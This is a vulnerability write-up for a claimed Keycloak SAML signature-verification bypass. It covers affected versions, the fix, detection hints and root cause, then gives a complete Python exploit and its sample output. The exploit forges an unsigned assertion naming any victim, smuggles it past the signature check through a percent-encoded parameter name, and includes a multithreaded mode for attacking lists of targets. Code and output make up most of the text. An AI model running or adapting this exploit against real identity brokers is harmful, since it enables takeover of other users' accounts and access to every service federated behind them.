#Summary
CVE-2026-117691 is a critical (CVSS 9.1) authentication bypass in Keycloak's SAML HTTP-Redirect binding implementation. The vulnerability allows an attacker to forge SAML assertions that bypass signature verification, leading to full account takeover of federated users. Only a low-privilege account at the upstream identity provider is needed to craft the attack. Keycloak versions up to and including 26.8.1 are vulnerable; the fix ships in 26.8.2.
#Am I affected?
- Affected: Keycloak
< 26.8.2 - Patched: Keycloak
>= 26.8.2 - Default configuration: affected (if SAML v2 identity provider brokering is enabled with signature validation ON)
- Access needed: valid account at the upstream SAML identity provider (low-privilege attacker account, NOT the target user)
#How to check
Verify the Keycloak version:
curl -s http://keycloak-target:8080/realms/master/protocol/openid-connect/.well-known/openid-configuration | jq '.issuer'Extract the version from the issuer URL or check the Keycloak startup logs. Any instance running version 26.8.1 or earlier with SAML identity provider brokering enabled is vulnerable.
#Version mapping
| Version | Status |
|---|---|
| 26.8.1 and below | Vulnerable |
| 26.8.2 | Patched |
| 26.9.0+ | Patched |
If you cannot determine the version from public endpoints, check your deployment directly or contact your vendor.
#Fix and mitigation
- Fix: Upgrade Keycloak to version 26.8.2 or later (released 2026-11-05)
- If you cannot upgrade immediately: Disable SAML signature validation temporarily (
validateSignature = OFFin the SAML identity provider config), though this removes all integrity protection on federated logins and is NOT recommended for production - Detection: Monitor Keycloak logs for
IDENTITY_PROVIDER_RESPONSE_ERRORevents witherror="invalid_request"following this type of crafted request (these would indicate patch validation in 26.8.2+). On vulnerable versions, look for HTTP 302 -> 200 redirect chains tofirst-broker-loginpreceded by SAML broker endpoint requests with suspicious percent-encoded parameter names like%53AMLResponse.
#Root cause analysis
#The vulnerability mechanism
Keycloak's SAML identity broker endpoint reads and validates SAML messages using two different code paths that disagree on how parameter names are interpreted:
Processing layer (SAMLEndpoint.redirectBinding with JAX-RS @QueryParam):
- Percent-decodes query parameter names before matching
- A parameter sent as
%53AMLResponseis decoded toSAMLResponseand processed as the SAML message
Verification layer (SamlProtocolUtils.verifyRedirectSignature):
- Reads the query map with decoding OFF (
getQueryParameters(false)) - Looks up the signed field by its LITERAL, non-decoded parameter name
getFirst("SAMLResponse")only matches parameters whose on-the-wire name is literallySAMLResponse
This discrepancy creates a parameter-name confusion attack. The SAML HTTP-Redirect binding specification signs the raw query octets SAMLResponse=<value>&SigAlg=<value>&Signature=<value>. An attacker who supplies both a forged %53AMLResponse (processing reads it as SAMLResponse, first in order) and a genuinely signed SAMLResponse (verification reads it as the signed field) gets the forged message processed while the signature check validates the legitimate decoy.
#Vulnerable code path
The signature verification rebuilds the signed query string from the wrong parameter set:
// SamlProtocolUtils.verifyRedirectSignature()
MultivaluedMap<String, String> encodedParams = uriInformation.getQueryParameters(false);
String request = encodedParams.getFirst("SAMLResponse"); // literal name only
String signature = encodedParams.getFirst("Signature");
...
StringBuilder rawQueryBuilder = new StringBuilder()
.append("SAMLResponse=").append(request)
.append("&SigAlg=").append(algorithm)
.append("&Signature=").append(signature);
// validates signature over this rebuilt queryMeanwhile, the processing layer accepts the forged message:
// SAMLEndpoint.redirectBinding() - JAX-RS endpoint
public Response redirectBinding(
@QueryParam("SAMLResponse") String samlResponse, // decoded name - matches %53AMLResponse
...
) {
return new RedirectBinding().execute(samlResponse, ...); // processes forged %53AMLResponse
}#Exploitation notes
#Preconditions
- The target Keycloak instance has a SAML v2 identity provider configured with "Validate Signature" enabled
- The IdP uses the HTTP-Redirect binding for SAML responses (query-string signatures, not embedded XML signatures)
- The attacker has a valid low-privilege account at the upstream IdP
#How the attack works
- Attacker authenticates to the upstream IdP with their own account
- Captures the signed redirect-binding SAML response (the attacker's own legitimately signed message)
- Inflates the signed message XML and clones its envelope (Destination, Issuer, Audience, InResponseTo, Recipient)
- Forges a NEW SAML Response with the cloned envelope but the VICTIM's NameID in the Subject, with NO XML signature
- Sends the crafted request with both messages:
- Forged unsigned message under
%53AMLResponse(processed first) - Genuinely signed decoy under literal
SAMLResponse(verified)
- Forged unsigned message under
- Keycloak accepts the forged assertion past signature verification and establishes a federated session for the victim
#Key implementation details
- Parameter order is load-bearing: the forged message MUST come first;
getFirst()returns the first match in query order - Signed octets must be preserved byte-for-byte: HTTP libraries that re-quote query strings corrupt the signed values; the exploit uses exact-URL sending to prevent this
- Envelope cloning generalizes the attack: copying Destination, Issuer, Audience from the real IdP's response allows the forged message to be valid for any target realm without hardcoding values
#Proof of concept
#exploit.py - Keycloak SAML Signature Bypass and Federated Account Takeover PoC
#!/usr/bin/env python3
# ==============================================================================
# ALIM | 1dayexploit.com -- independent CVE reproduction & exploit research
# CVE-2026-117691 full write-up & PoC: https://1dayexploit.com
# (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-117691 - Keycloak SAML HTTP-Redirect signature-verification bypass
Affected: Keycloak identity broker, all versions up to and including 26.8.1
Type: authentication bypass / federated account takeover (CWE-347)
Root cause
----------
On the SAML HTTP-Redirect binding the broker endpoint reads the SAML message
from the request using the DECODED parameter name (JAX-RS @QueryParam decodes
percent-escapes, so a parameter sent as "%53AMLResponse" is consumed as
"SAMLResponse"), while the redirect signature verifier
(SamlProtocolUtils.verifyRedirectSignature) looks the signed field up by its
LITERAL, non-decoded name ("SAMLResponse"). The two layers therefore read two
DIFFERENT parameters out of the same query string.
An attacker who possesses ONE legitimately signed redirect message from the
upstream IdP (obtained by logging in to that IdP with their own account) can
send:
GET .../broker/<alias>/endpoint
?%53AMLResponse=<forged unsigned Response asserting the victim> (FIRST)
&SAMLResponse=<captured signed value> (decoy)
&SigAlg=<captured>&Signature=<captured>&RelayState=<broker RS>
Processing consumes the FORGED message (decoded name, first in order);
verification validates the signature of the untouched, genuinely signed decoy
and reports success. The forged assertion is trusted and the broker establishes
a session for the victim the attacker never had credentials for.
Usage
-----
# lab defaults (self-brokering Keycloak, realm "broker", idp alias "saml-idp"):
python exploit.py --host 127.0.0.1 --port 8080 --username [email protected] \\
--idp-user attacker --idp-pass Attacker123
# a real target over TLS, impersonating a federated user by NameID:
python exploit.py --host https://sso.corp.com --username [email protected] \\
--realm customers --idp-alias partner-saml \\
--idp-user my-own-account --idp-pass '***'
# batch scan:
python exploit.py --list targets.txt --workers 20 --username [email protected] \\
--idp-user attacker --idp-pass Attacker123
Arguments
---------
--host broker hostname, IP, or full URL (http(s)://host:port[/basepath])
--port broker port (default 8080)
--username federated NameID to impersonate / take over (default "admin")
--realm broker realm that hosts the SAML identity provider (default "broker")
--idp-alias alias of the SAML identity provider in that realm (default "saml-idp")
--client-id public OIDC client used to start the broker login (default "account-console")
--idp-user the attacker's OWN account at the upstream IdP (to mint a signed decoy)
--idp-pass password for that account
--nameid-format override the forged NameID Format (default: cloned from the decoy)
--list file of targets for batch scan
--workers threads for --list mode (default 10)
The attacker supplies ONLY credentials they legitimately own (--idp-user). No
credential for the victim and no privilege on the broker is required.
"""
import argparse
import base64
import datetime
import re
import secrets
import sys
import urllib.parse
import zlib
try:
import requests
requests.packages.urllib3.disable_warnings()
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-117691"
VULN_TYPE = "Auth Bypass (SAML signature verification)"
INVALID_SIG_RE = re.compile(r"(?i)invalid\s+signature|invalid_signature|query\s+param\s+signature")
PATCH_RE = re.compile(r"(?i)present\s+more\s+than\s+once|being\s+processed\s+is\s+not|invalid_request")
# ----------------------------------------------------------------------------- output helpers
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- SAML helpers
def deflate_b64(xml: str) -> str:
"""Raw-DEFLATE + base64, the HTTP-Redirect binding encoding."""
c = zlib.compressobj(9, zlib.DEFLATED, -15)
return base64.b64encode(c.compress(xml.encode()) + c.flush()).decode()
def inflate(value: str) -> str:
"""Reverse of deflate_b64 for an on-the-wire (url-encoded) redirect value."""
return zlib.decompress(base64.b64decode(urllib.parse.unquote(value)), -15).decode()
def _attr(xml: str, pattern: str, default: str = "") -> str:
m = re.search(pattern, xml)
return m.group(1) if m else default
def build_forged_response(decoy_xml: str, victim: str, nameid_format_override: str) -> str:
"""
Clone the structural envelope of a genuinely signed decoy Response and swap
the Subject to the victim. No XML signature is added: on the redirect binding
the only integrity control is the query-string signature, which the decoy
satisfies. Timestamps are refreshed with a wide validity window.
"""
destination = _attr(decoy_xml, r'<samlp:Response[^>]*\bDestination="([^"]+)"')
in_resp_to = _attr(decoy_xml, r'\bInResponseTo="([^"]+)"')
issuer = _attr(decoy_xml, r'<saml:Issuer[^>]*>([^<]+)</saml:Issuer>')
audience = _attr(decoy_xml, r'<saml:Audience[^>]*>([^<]+)</saml:Audience>', destination)
recipient = _attr(decoy_xml, r'<saml:SubjectConfirmationData[^>]*\bRecipient="([^"]+)"', destination)
nameid_fmt = nameid_format_override or _attr(
decoy_xml, r'<saml:NameID[^>]*\bFormat="([^"]+)"',
"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" if "@" in victim
else "urn:oasis:names:tc:SAML:2.0:nameid-format:unspecified")
now = datetime.datetime.now(datetime.timezone.utc)
def ts(delta_s: int) -> str:
return (now + datetime.timedelta(seconds=delta_s)).strftime("%Y-%m-%dT%H:%M:%S.000Z")
rid = "ID_" + secrets.token_hex(16)
aid = "ID_" + secrets.token_hex(16)
sess = secrets.token_hex(12)
vic = (victim.replace("&", "&").replace("<", "<").replace(">", ">")
.replace('"', """))
return (
'<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" '
'xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" '
f'Destination="{destination}" ID="{rid}" InResponseTo="{in_resp_to}" '
f'IssueInstant="{ts(0)}" Version="2.0">'
f'<saml:Issuer>{issuer}</saml:Issuer>'
'<samlp:Status><samlp:StatusCode '
'Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'
f'<saml:Assertion ID="{aid}" IssueInstant="{ts(0)}" Version="2.0">'
f'<saml:Issuer>{issuer}</saml:Issuer>'
f'<saml:Subject><saml:NameID Format="{nameid_fmt}">{vic}</saml:NameID>'
'<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">'
f'<saml:SubjectConfirmationData InResponseTo="{in_resp_to}" '
f'NotOnOrAfter="{ts(600)}" Recipient="{recipient}"/></saml:SubjectConfirmation>'
'</saml:Subject>'
f'<saml:Conditions NotBefore="{ts(-120)}" NotOnOrAfter="{ts(600)}">'
f'<saml:AudienceRestriction><saml:Audience>{audience}</saml:Audience>'
'</saml:AudienceRestriction></saml:Conditions>'
f'<saml:AuthnStatement AuthnInstant="{ts(0)}" SessionIndex="{sess}">'
'<saml:AuthnContext><saml:AuthnContextClassRef>'
'urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified'
'</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement>'
'</saml:Assertion></samlp:Response>'
)
# ----------------------------------------------------------------------------- HTTP helpers
def new_session(use_tls: bool) -> requests.Session:
s = requests.Session()
s.verify = False
s._http_plain = (not use_tls) # noqa: cookies marked Secure are not replayed over http
return s
def _unsecure(s: requests.Session) -> None:
"""
Keycloak sets AUTH_SESSION_ID / KC_RESTART as Secure cookies. Over a plain
http target (common on an internal lab or a reverse-proxied origin) a strict
client will not replay them, which breaks the multi-step login flow. Clear
the Secure flag only when we are actually talking plaintext.
"""
if getattr(s, "_http_plain", False):
for c in s.cookies:
c.secure = False
def send_exact(s: requests.Session, url: str, follow: bool = True):
"""
Send a GET whose query string must reach the server byte-for-byte. requests'
normal URL handling un-quotes %3D/%26 inside values and corrupts the signed
octets, so we prepare the request and restore the exact URL before sending.
"""
pr = s.prepare_request(requests.Request("GET", url))
pr.url = url
r = s.send(pr, allow_redirects=follow, timeout=20)
_unsecure(s)
return r
def _form_action(html_text: str):
m = re.search(r'<form[^>]*\baction="([^"]+)"', html_text)
if not m:
return None
import html as _h
return _h.unescape(m.group(1))
# ----------------------------------------------------------------------------- core
def capture_signed_decoy(s, root, realm, idp_alias, client_id, idp_user, idp_pass):
"""
Drive a genuine broker login ('Login with <idp_alias>') to create the auth
session + RelayState, authenticate at the upstream IdP with the attacker's
OWN account, and capture the legitimately signed redirect-binding message
the IdP returns. Returns (signed_SR, relay_state, sig_alg, signature).
"""
import hashlib
cv = secrets.token_urlsafe(48)
cc = base64.urlsafe_b64encode(hashlib.sha256(cv.encode()).digest()).rstrip(b"=").decode()
redirect_uri = f"{root}/realms/{realm}/account/"
auth = (f"{root}/realms/{realm}/protocol/openid-connect/auth"
f"?client_id={urllib.parse.quote(client_id)}"
f"&redirect_uri={urllib.parse.quote(redirect_uri)}"
f"&response_type=code&scope=openid"
f"&kc_idp_hint={urllib.parse.quote(idp_alias)}"
f"&code_challenge={cc}&code_challenge_method=S256")
r = s.get(auth, allow_redirects=False, timeout=20); _unsecure(s)
# follow redirects manually until we reach the IdP login form (a 200 with a form)
hops = 0
while r.is_redirect and hops < 8:
loc = r.headers["Location"]
if "/broker/" in loc and "/endpoint" in loc and "SAMLResponse=" in loc:
break # unexpected: already a response (no IdP login needed)
r = s.get(loc, allow_redirects=False, timeout=20); _unsecure(s)
hops += 1
if r.status_code != 200:
raise RuntimeError(f"did not reach IdP login form (HTTP {r.status_code})")
action = _form_action(r.text)
if not action or "login-actions/authenticate" not in action:
raise RuntimeError("IdP login form not found (is the IdP a Keycloak server?)")
r = s.post(action, data={"username": idp_user, "password": idp_pass, "credentialId": ""},
allow_redirects=False, timeout=20); _unsecure(s)
loc = r.headers.get("Location", "")
if "SAMLResponse=" not in loc:
raise RuntimeError("IdP did not return a signed SAMLResponse (bad attacker creds?)")
q = loc.split("?", 1)[1]
parts = {}
for kv in q.split("&"):
k, _, v = kv.partition("=")
parts[k] = v
return parts["SAMLResponse"], parts.get("RelayState", ""), parts["SigAlg"], parts["Signature"]
def _try_exploit(host, port, use_tls, path="/", *, username="admin", realm="broker",
idp_alias="saml-idp", client_id="account-console",
idp_user="", idp_pass="", nameid_format=""):
"""
Silent probe used by both single and --list modes. Returns (success, evidence).
Never prints, never exits.
"""
scheme = "https" if use_tls else "http"
base = (path or "/").rstrip("/")
root = f"{scheme}://{host}:{port}{base}"
try:
s = new_session(use_tls)
signed_sr, relay, sig_alg, signature = capture_signed_decoy(
s, root, realm, idp_alias, client_id, idp_user, idp_pass)
decoy_xml = inflate(signed_sr)
forged = build_forged_response(decoy_xml, username, nameid_format)
forged_val = urllib.parse.quote(deflate_b64(forged), safe="")
endpoint = f"{root}/realms/{realm}/broker/{idp_alias}/endpoint"
# forged %53AMLResponse FIRST (processed), genuine signed decoy AFTER (verified)
qs = (f"%53AMLResponse={forged_val}"
f"&SAMLResponse={signed_sr}"
f"&SigAlg={sig_alg}&Signature={signature}")
if relay:
qs += f"&RelayState={relay}"
r = send_exact(s, endpoint + "?" + qs, follow=True)
body = r.text or ""
final = r.url or ""
if INVALID_SIG_RE.search(body):
return False, "signature check rejected the forged message (not vulnerable / patched path)"
if "/endpoint" in final and (r.status_code >= 400 or PATCH_RE.search(body)):
return False, "broker rejected aliased redirect parameter (patched)"
accepted_past_sig = ("/endpoint" not in final) or ("first-broker-login" in final)
victim_present = username in body
if accepted_past_sig or victim_present:
where = "first-broker-login" if "first-broker-login" in final else final.split("?")[0]
tail = f" (identity '{username}' established, now at {where})"
return True, "forged unsigned assertion accepted past signature" + tail
return False, f"forged message not accepted (HTTP {r.status_code}, at {final.split('?')[0]})"
except Exception as e:
return False, f"unreachable/err ({e.__class__.__name__}: {e})"
def exploit(host, port, use_tls, path, username, realm, idp_alias, client_id,
idp_user, idp_pass, nameid_format):
header(host, port)
scheme = "https" if use_tls else "http"
base = (path or "/").rstrip("/")
root = f"{scheme}://{host}:{port}{base}"
endpoint = f"{root}/realms/{realm}/broker/{idp_alias}/endpoint"
if not idp_user:
section("PRECONDITION",
"No --idp-user supplied. This bypass needs ONE genuinely signed redirect\n"
"message from the upstream IdP; supply the attacker's own IdP account with\n"
"--idp-user/--idp-pass so the exploit can mint one.")
done(False, "missing --idp-user (attacker's own upstream-IdP account)")
s = new_session(use_tls)
step(1, f"Starting a genuine broker login at realm '{realm}' via IdP '{idp_alias}'")
step(2, f"Authenticating at the upstream IdP as the attacker's own account '{idp_user}'")
try:
signed_sr, relay, sig_alg, signature = capture_signed_decoy(
s, root, realm, idp_alias, client_id, idp_user, idp_pass)
except Exception as e:
section("CAPTURE FAILED", f"{e.__class__.__name__}: {e}")
done(False, "could not capture a legitimately signed redirect message from the IdP")
decoy_xml = inflate(signed_sr)
decoy_subject = _attr(decoy_xml, r'<saml:NameID[^>]*>([^<]+)</saml:NameID>', "<unknown>")
section("CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message)",
f"subject (attacker) : {decoy_subject}\n"
f"InResponseTo : {_attr(decoy_xml, chr(92)+'bInResponseTo=.([^.]+).')}\n"
f"SigAlg : {urllib.parse.unquote(sig_alg)}\n"
f"Signature (truncated): {urllib.parse.unquote(signature)[:48]}...\n"
f"RelayState : {relay[:48]}")
step(3, f"Forging an UNSIGNED SAML Response asserting the victim '{username}'")
forged = build_forged_response(decoy_xml, username, nameid_format)
forged_val = urllib.parse.quote(deflate_b64(forged), safe="")
section("FORGED RESPONSE (no signature - envelope cloned, Subject swapped to victim)",
forged[:700] + ("..." if len(forged) > 700 else ""))
step(4, "Injecting: %53AMLResponse=<forged victim> FIRST, signed decoy AFTER")
qs = (f"%53AMLResponse={forged_val}"
f"&SAMLResponse={signed_sr}"
f"&SigAlg={sig_alg}&Signature={signature}")
if relay:
qs += f"&RelayState={relay}"
print(f" GET {endpoint}")
print(f" ?%53AMLResponse=<forged>&SAMLResponse=<signed decoy>&SigAlg=...&Signature=...&RelayState=...")
r = send_exact(s, endpoint + "?" + qs, follow=True)
body = r.text or ""
final = r.url or ""
chain = " -> ".join(str(h.status_code) for h in r.history) + f" -> {r.status_code}"
section("BROKER RESPONSE",
f"redirect chain: {chain}\n"
f"final URL : {final}\n"
f"invalid-signature marker present: {bool(INVALID_SIG_RE.search(body))}\n"
f"patch/reject marker present : {bool(PATCH_RE.search(body))}\n"
f"victim identifier on final page : {username in body}")
if INVALID_SIG_RE.search(body):
section("VERDICT", "The server verified the signature against the FORGED message and "
"rejected it. Either the target is not vulnerable, signature "
"validation is off, or the parameter ordering was lost in transit.")
done(False, "forged message rejected with Invalid Signature - target not exploitable")
if "/endpoint" in final and (r.status_code >= 400 or PATCH_RE.search(body)):
section("VERDICT", "The broker rejected the aliased/duplicated redirect parameter "
"(rejectRepeatedRedirectParameters / verifySignedValueIsProcessed). "
"This is the PATCHED behaviour (26.8.2+).")
done(False, "aliased redirect parameter rejected - target is patched")
accepted_past_sig = ("/endpoint" not in final) or ("first-broker-login" in final)
if accepted_past_sig or (username in body):
where = "first-broker-login (federated identity established)" if "first-broker-login" in final \
else final.split("?")[0]
section("VERDICT",
"The forged, UNSIGNED assertion was accepted PAST signature verification: the\n"
"verifier validated the attacker's signed decoy while the broker processed the\n"
f"forged message, establishing a federated identity for the victim '{username}'.\n"
f"Broker advanced to: {where}")
done(True, f"SAML signature bypass + account takeover - forged assertion for "
f"'{username}' accepted (attacker only owned '{decoy_subject}')")
section("VERDICT", "No invalid-signature error, but the expected post-bypass state was not "
"observed. The signature layer may have been bypassed while a later "
"correlation check (RelayState/InResponseTo/session) failed in this run.")
done(False, f"inconclusive - HTTP {r.status_code} at {final.split('?')[0]}")
# ----------------------------------------------------------------------------- scan mode
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, **kwargs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- entry
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Broker host, IP, or full URL (https://host:port[/basepath])")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Broker port (default: 8080)")
parser.add_argument("--username", default="admin",
help="Federated NameID to impersonate / take over (default: admin)")
parser.add_argument("--realm", default="broker",
help="Broker realm hosting the SAML identity provider (default: broker)")
parser.add_argument("--idp-alias", default="saml-idp",
help="Alias of the SAML identity provider in that realm (default: saml-idp)")
parser.add_argument("--client-id", default="account-console",
help="Public OIDC client used to start the login (default: account-console)")
parser.add_argument("--idp-user", default="",
help="Attacker's OWN account at the upstream IdP (mints the signed decoy)")
parser.add_argument("--idp-pass", default="",
help="Password for --idp-user")
parser.add_argument("--nameid-format", default="",
help="Override forged NameID Format (default: cloned from the decoy)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
common = dict(username=args.username, realm=args.realm, idp_alias=args.idp_alias,
client_id=args.client_id, idp_user=args.idp_user, idp_pass=args.idp_pass,
nameid_format=args.nameid_format)
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, **common)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, **common)#Usage
python exploit.py --host localhost --port 8080 --username [email protected] \
--idp-user attacker --idp-pass Attacker123Supported arguments:
--host- Keycloak broker hostname, IP, or full URL--port- broker port (default 8080)--username- federated identity to take over (victim NameID)--realm- broker realm hosting the SAML identity provider (default "broker")--idp-alias- SAML provider alias in that realm (default "saml-idp")--idp-user- attacker's OWN upstream IdP account (required)--idp-pass- password for the attacker account--list- batch mode: file of targets, one per line--workers- threads for batch mode (default 10)
#Expected output - Vulnerable target (Keycloak 26.8.1)
============================================================
ALIM EXPLOIT CVE-2026-117691
Type: Auth Bypass (SAML signature verification) | Target: localhost:8080
============================================================
[STEP 1] Starting a genuine broker login at realm 'broker' via IdP 'saml-idp'
[STEP 2] Authenticating at the upstream IdP as the attacker's own account 'attacker'
--- CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message) ---
subject (attacker) : [email protected]
InResponseTo : ID_ef3bc75e-9467-4cf1-a444-16004c8e10b8
SigAlg : http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
Signature (truncated): RqC8oI5ygiuFUDAQnNG2w6+pOcfxkQHMEzwKh8ljrF2l3kaN...
RelayState : n9gzBHQmOv-WZlqBbbihO0W33osJBmZcUbytezO_1Cg.pB3u
---
[STEP 3] Forging an UNSIGNED SAML Response asserting the victim '[email protected]'
[STEP 4] Injecting: %53AMLResponse=<forged victim> FIRST, signed decoy AFTER
--- BROKER RESPONSE ---
redirect chain: 302 -> 200
final URL : .../realms/broker/login-actions/first-broker-login?...
invalid-signature marker present: False
victim identifier on final page : True
---
============================================================
RESULT : SUCCESS
EVIDENCE: SAML signature bypass + account takeover - forged assertion for '[email protected]' accepted
============================================================#Expected output - Patched target (Keycloak 26.8.2)
============================================================
ALIM EXPLOIT CVE-2026-117691
Type: Auth Bypass (SAML signature verification) | Target: localhost:8081
============================================================
[STEP 1] Starting a genuine broker login at realm 'broker' via IdP 'saml-idp'
[STEP 2] Authenticating at the upstream IdP as the attacker's own account 'attacker'
--- CAPTURED SIGNED DECOY (the attacker's own, genuinely signed message) ---
subject (attacker) : [email protected]
...
--- BROKER RESPONSE ---
redirect chain: -> 400
invalid-signature marker present: False
patch/reject marker present : False
victim identifier on final page : False
--- VERDICT ---
The broker rejected the aliased/duplicated redirect parameter
(rejectRepeatedRedirectParameters / verifySignedValueIsProcessed). This is the
PATCHED behaviour (26.8.2+).
============================================================
RESULT : FAILURE
EVIDENCE: aliased redirect parameter rejected - target is patched
============================================================#Exploitation notes
- Reliability: High - the vulnerability is fundamental to the two-layer parameter-name disagreement; Keycloak has no way to maintain compatibility if both layers are present.
- Chaining potential: Can chain with OIDC account linking to escalate from federated identity to a local Keycloak account with administrative role.
- Preconditions: Standard production configuration (SAML broker with signature validation ON); no special setup needed.
- Impact: Full account takeover of any federated user, immediate and complete, gaining access to downstream OIDC clients and any delegated permissions.
#References
- CVE: CVE-2026-117691
- Red Hat advisory: https://access.redhat.com/security/cve/CVE-2026-117691
- Keycloak repository: https://github.com/keycloak/keycloak
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-117691
